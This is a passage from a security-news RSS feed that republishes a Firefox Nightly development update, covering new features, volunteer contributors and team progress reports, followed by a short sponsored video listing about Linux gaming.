<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image6.png"><img alt="Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose…” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button." class="aligncenter size-full wp-image-2074" height="517" src="https://blog.nightly.mozilla.org/files/2026/06/image6.png" width="657"></a></li>
</ul>
</li>
<li><a href="https://support.mozilla.org/kb/firefox-backup">You can read more about the feature here</a></li>
</ul>
</li>
<li>As followups to the recent addition to the WebExtension tabs API to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API#working_with_tab_split_views">support the new SplitView tabs feature</a>, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029099"> Bug 2029099</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029534"> Bug 2029534</a></li>
<li>Adaptive autofill has been enabled on Nightly.
<ul>
<li>Previously, autofill only completed domains (e.g. typing red autofilled<a href="http://reddit.com/"> reddit.com</a>). Now it can also complete full URLs for pages you visit often (e.g. red →<a href="http://reddit.com/r/firefox"> reddit.com/r/firefox</a>), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
<ul>
<li>If you run into issues or have feedback, <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Address+Bar">you can file a bug here</a>!</li>
</ul>
</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=293943">Markus Stange [:mstange]</a> implemented dynamic toolbar on top in RDM (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1978145">#1978145</a>), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
<ul>
<li>dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled</li>
<li>it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image1.png"><img alt="Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights." class="aligncenter size-full wp-image-2069" height="1113" src="https://blog.nightly.mozilla.org/files/2026/06/image1.png" width="882"></a></li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h3><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=958957%2C1876109%2C1997388%2C2000797%2C1950995%2C1986020%2C2018272%2C2018276%2C2021681%2C2027969%2C2022115%2C1999012%2C2016058%2C2026585%2C2023913%2C2028167%2C2028293%2C2028927%2C1998002%2C2011343%2C1997925%2C2026574%2C2029398%2C2029684%2C1948019%2C2008756%2C2022601%2C2026032%2C2030428%2C1968244%2C1975391%2C944228%2C1962904%2C1977741%2C1997346%2C2027867%2C2030631%2C1807516%2C2030998%2C2030999%2C2015491%2C2028153%2C2028628%2C1978290%2C2008128%2C2024033%2C1883497%2C1984679%2C2030069%2C2031162%2C2031598%2C2012399%2C2031116%2C2031128%2C2031931%2C2031961%2C2033173%2C2032997%2C1919387%2C1947679%2C2027915%2C2032196%2C2019561%2C2024187%2C1392125%2C1993844%2C2027060%2C1983408%2C2034178%2C1873954%2C1875083%2C2008119%2C2008197%2C1628669%2C2031599%2C2033820">Resolved bugs (excluding employees)</a></h3>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>aoia7rz7l</li>
<li>Chukwuka Rosemary</li>
<li>DrSeed</li>
<li>Frédéric Wang Nélar</li>
<li>japandi</li>
<li>John Iweh</li>
<li>jonathancabera</li>
<li>Josh Aas</li>
<li>Keji Bakare</li>
<li>kofoworola shonuyi</li>
<li>konyhéa</li>
<li>liz</li>
<li>Mathew Hodson</li>
<li>Okhuomon Ajayi</li>
<li>Oluwatobi</li>
<li>ROSHAAN</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> Anthony Mclamb:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915"> Disable the legacy Edge migrator</a></li>
<li> Amin Amir
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
<li>🌟 Amine Zroual:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Omitted maxResults property not handled correctly in getRecentlyClosed</a></li>
</ul>
</li>
<li>any1here:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031162"> install_sig_alt_stack incorrectly checks mmap’s return value</a></li>
<li>🌟 Armin Ulrich:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031598"> Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument</a></li>
<li>japandi
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1628669">Cannot remove amazon.com from top sites list</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1977741">The height of the pinned tabs area should be responsive to the number of pins</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986020">Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations</a></li>
</ul>
</li>
<li>Nathan Johnson [:narjoDev]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1950995"> Remove browser.display.use_system_colors pref</a></li>
<li>DrSeed
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1962904">Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968244">The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again</a></li>
</ul>
</li>
<li>Keji Bakare:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008756">Split view’s focus-outline is clipped on the right side of left tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031116">White space on the right side of left panel in split view</a></li>
</ul>
</li>
<li>🌟 gotyaoi:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1807516"> Reload toolbar button is active on about:newtab</a></li>
<li>Itoro James:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015491"> [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it</a></li>
<li>John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997925"> The notification dot is not displayed if the tab is in a Split View</a></li>
<li>🌟 John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027867"> sidebar-shown attribute remains when sidebar.revamp is false</a></li>
<li>🌟 jonathancabera:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2012399">The Move tab to Split View option is also displayed for the tabs that are within the Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016058">A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026032">Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode</a></li>
</ul>
</li>
<li>Aloys:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2000797"> Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67</a></li>
<li>liz:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1875083">Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008119">Button accessible name does not convey its function: missing topic context (Settings dialog &gt; Topics dialog &gt; buttons Following/Unfollow/Blocked/Unblock)</a></li>
</ul>
</li>
<li>Mary cathline:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022115"> Tab Group Label does not respect touch density in vertical tab bar</a></li>
<li>🌟 Brandon Lucier:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030631"> Popups opened with window.open give window type normal instead of popup</a></li>
<li>karan68:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997388"> [dialog] New Shortcut dialog needs a label/accessible name</a></li>
<li>🌟 Vector:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008128"> Button does not programmatically indicate that it opens a dialog (Recent activity section &gt; story card &gt; ••• disclosure &gt; Delete from History button)</a></li>
<li>🌟 Osoble:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1876109"> Update font size and weight for synced tabs device name headers in Firefox View</a></li>
<li>konyhéa:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1873954">Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1883497">Check all second paramaters for TestUtils.waitForCondition in Fx View test files</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030069">Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.</a></li>
</ul>
</li>
<li>Noble Chinonso: <a href="http://sidebartreeview.js/">#shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled</a></li>
<li>Pranjali Srivastava:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=944228"> Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)</a></li>
<li>Okhuomon Ajayi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018272">More spacing is needed between the tab note icon and the close icon on the tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019561">The tabs in vertical mode collapsed state are positioned differently in Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027060">Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029684">Vertical split view tabs can be too big or small when tabs are overflowing</a></li>
</ul>
</li>
<li>🌟 Rishan:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030428"> Fix duplicated arrow function in browser_history_sidebar.js</a></li>
<li>Chukwuka Rosemary:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1948019">“Forget About This Site” context menu option missing from Firefox View history</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026574">Long strings are not displayed properly on the about:opentabs page search filed</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028153">Add test for Forget This Site option in Fxview history context menu.</a></li>
</ul>
</li>
<li>ROSHAAN:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018276">Tab note background colour is incorrect for default light theme</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997346"> [win/linux] The splitter between content areas does not match Figma spec</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028927">Fix typo in OpenInTabsUtils.confirmOpenInTabs()</a></li>
</ul>
</li>
<li>Sameeksha:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008197"> Disclosure button expanded/collapsed state not programmatically defined (Customize button)</a></li>
<li>kofoworola shonuyi:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999012">Actually hide or remove sidebar-shown attribute when in fullscreen.</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028293">Add a test for checking sidebar-shown attribute in fullscreen mode</a></li>
</ul>
</li>
<li>🌟 Sayd Mateen:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021681"> Page URL is displayed as tab name when page’s contains about:reader?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;</a></li>
</ul>
<ul>
<li>Oluwatobi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1975391">Unable to delete selected history entries from sidebar</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1993844">Incorrect Sidebar button state/tooltip hover text</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023913">The city name heading level doesn’t follow the correct heading level order</a></li>
</ul>
</li>
<li>Nishchay [:nish]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031961"> Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)</a></li>
</ul>
<p> </p>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032014"> Bug 2032014</a>
<ul>
<li>NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes</li>
</ul>
</li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033173"> Bug 2033173</a>
<ul>
<li>Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!</li>
</ul>
</li>
<li>Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034329"> Bug 2034329</a>
<ul>
<li>Thanks to Simon Farre for promptly investigating and fixing this recent regression!</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Bug 1392125</a>
<ul>
<li>Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!</li>
</ul>
</li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=750915">Artem Manushenkov</a> fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1983408">#1983408</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446257">Andrea Marchesini [:baku]</a> fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031299">#2031299</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028930">#2028930</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> improved @container tooltip so it show the value of variables used in style()(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030239">#2030239</a>), has enough contrast in dark mode (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033782">#2033782</a>) and contains a link to select the container (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031688">#2031688</a>)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image3.png"><img alt='Firefox Developer Tools showing a CSS @container style() rule in the Rules panel. A popover for a element displays container properties including "container-name: hello section-container", "container-type: inline-size", and the custom property "--w: 100px", while indicating that --secondary and --plouf are not set. Below, the container query uses nested var() fallbacks, and a CSS declaration previews the resolved value for background-color.' class="aligncenter size-full wp-image-2071" height="532" src="https://blog.nightly.mozilla.org/files/2026/06/image3.png" width="1038"></a></li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> is making good progress on migrating the Console to CodeMirror 6 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032758">#2032758</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026569">#2026569</a>)</li>
</ul>
<h4>Fluent</h4>
<ul>
<li>We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image5.png"><img alt="Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system." class="aligncenter size-full wp-image-2073" height="924" src="https://blog.nightly.mozilla.org/files/2026/06/image5.png" width="1509"></a></li>
</ul>
<h4>Migration Improvements</h4>
<ul>
<li>Thanks to dao for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035009">fixing a recent alignment issue in the migration wizard dropdown</a></li>
<li>Thanks to volunteer contributor Anthony Mclamb for his patch that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915">disables the legacy EdgeHTML Edge migrator</a>! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th
<ul>
<li>It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.</li>
</ul>
</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032213"> enabled Nova designs for New Tab</a>, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033165"> fixed the Nova content feed to render the intended four‑column layout</a> by correcting CSS grid breakpoints.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033264"> resolved a first‑load failure in the Weather widget</a> by fixing init order and fetch timing, eliminating the “Oops” error.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2031707"> synchronized the Weather toggle between about:preferences#home and the panel</a> via the shared showWeather pref to prevent desync.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2021460"> updated Nova grid focus order</a> to align tab flow with visual order for keyboard users.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2034620"> fixed critical UI issues in Lists and Timer widgets</a> covering overflow, controls, and layout stability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032462"> guarded document.dir access in Nova render paths</a> to avoid startup cache worker errors and improve startup stability.</li>
<li>Rolf<a href="https://bugzil.la/2031568"> added a new normalization method for the inferred interest vector</a> to stabilize topic relevance across sessions.</li>
<li>Rolf<a href="https://bugzil.la/2031569"> prevented unnecessary content refreshes during Pocket New Tab experiments</a>, reducing jank and bandwidth.</li>
<li>Sameeksha<a href="https://bugzil.la/2008197"> defined the Customize button’s expanded/collapsed state programmatically</a> using aria-expanded for better a11y.</li>
<li>liz<a href="https://bugzil.la/2008119"> clarified follow/unfollow/blocked button names with topic context</a> so screen readers announce clear actions.</li>
<li>Vector<a href="https://bugzil.la/2008128"> marked the Delete from History control as opening a dialog</a> via aria-haspopup=dialog for assistive tech.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers pref off</a>, restoring user selections.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> corrected privacy link color and focus styles</a> for contrast and keyboard visibility.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Marco has fixed a<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743"> couple</a> of<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1989632"> issues</a> with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.</li>
<li>Work continues on the new separate search bar to improve the functionality, e.g.<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033231"> allowing middle click</a> to perform a search in a new tab,<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032991"> avoiding performing a</a> search when adding a search engine.</li>
<li>Work also continues on the new Nova layouts.</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032122">uplifted 10 bugs</a> to 150.0.1 dot release addressing initial user feedback from diary study and <a href="https://connect.mozilla.org/">Connect</a>
<ul>
<li>jump to bottom of conversation <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028692">2028692</a></li>
<li>stop streaming button <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029204">2029204</a></li>
<li>back/forward navigation from assistant <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029229">2029229</a></li>
<li>dark mode for various chips <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2024499">2024499</a></li>
</ul>
</li>
<li>search engine switching from smart bar <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021973">2021973</a></li>
<li>Nova styling within smart window <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026794">2026794</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Dustin converted moz-breadcrumb-group variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029181">Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens</a></li>
<li>Dustin converted moz-box-* variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029180">Bug 2029180 – Convert moz-box-* variables into JSON design tokens</a></li>
<li>Dustin converted moz-promo variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029190">Bug 2029190 – Convert moz-promo variables into JSON design tokens</a></li>
<li>Dustin converted moz-reorderable-list variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029191">Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens</a></li>
<li>Dustin converted moz-visual-picker variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029193">Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens</a></li>
<li>Dustin updated browser-shared.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022985">Bug 2022985 – Update browser-shared.css so it passes use-design-tokens</a></li>
<li>Dustin updated popup.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022979">Bug 2022979 – Update popup.css so it passes use-design-tokens</a></li>
<li>Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1955325">Bug 1955325 – Create opacity tokens</a></li>
<li>Jon converted toolbar design tokens to JSON <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017970">Bug 2017970 – Convert toolbar design tokens to json</a></li>
<li>Anna fixed moz-select with panel-list drop-down size inconsistency <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032365">Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened</a></li>
<li>Anna fixed issue with the disabled state of moz-radio component <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027123">Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled</a></li>
<li>Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022326">Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically</a></li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027209">2027209</a></li>
<li>In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">2031837</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Tim converted settings related to Accessibility page to config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968116">Bug 1968116 – Convert settings related to Accessibility page to config-based settings</a></li>
<li>Benjamin converted Privacy &amp; Security page to the config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968112">Bug 1968112 – Convert settings related to Privacy &amp; Security page to config-based settings</a></li>
<li>Finn integrated Firefox Labs page into setting-pane config <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021047">Bug 2021047 – Integrate Firefox Labs page into setting-pane config</a></li>
<li>Anna converted Firefox Updates section to config-based prefs <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1990961">Bug 1990961 – Convert Firefox Updates section to config-based prefs</a></li>
<li>Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015093">Bug 2015093 – Add a moz-promo to welcome users to the redesign</a>
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image4.png"><img alt="The Firefox settings page in dark mode showing a notification banner that reads, “Same settings, new look!” The message further explains that the page has been reorganized to make settings easier to scan and explore, while keeping all existing settings unchanged. A “Got it” button appears below the message. The “AI Controls” section is visible underneath the banner." class="aligncenter size-full wp-image-2072" height="559" src="https://blog.nightly.mozilla.org/files/2026/06/image4.png" width="1431"></a></li>
</ul>
</li>
<li>Anna added possibility to search for actions in the redesigned “Applications” section <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020370">Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section</a></li>
<li>Anna fixed the Settings navbar layout breakage</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Gaming on Linux Suddenly Matters]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 24191x - Views:665011 Click this link https://boot.dev/?promo=TECHQUICKIE and use my code TECHQUICKIE to get 25% off your first payment for boot.dev. Thank you Boot.Dev for Sponsoring! 

From broken drivers to the Steam Deck selling millions, Linux gaming has gone...]]></description>
<link>https://tsecurity.de/de/3693264/videos/why-gaming-on-linux-suddenly-matters/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693264/videos/why-gaming-on-linux-suddenly-matters/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:39 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
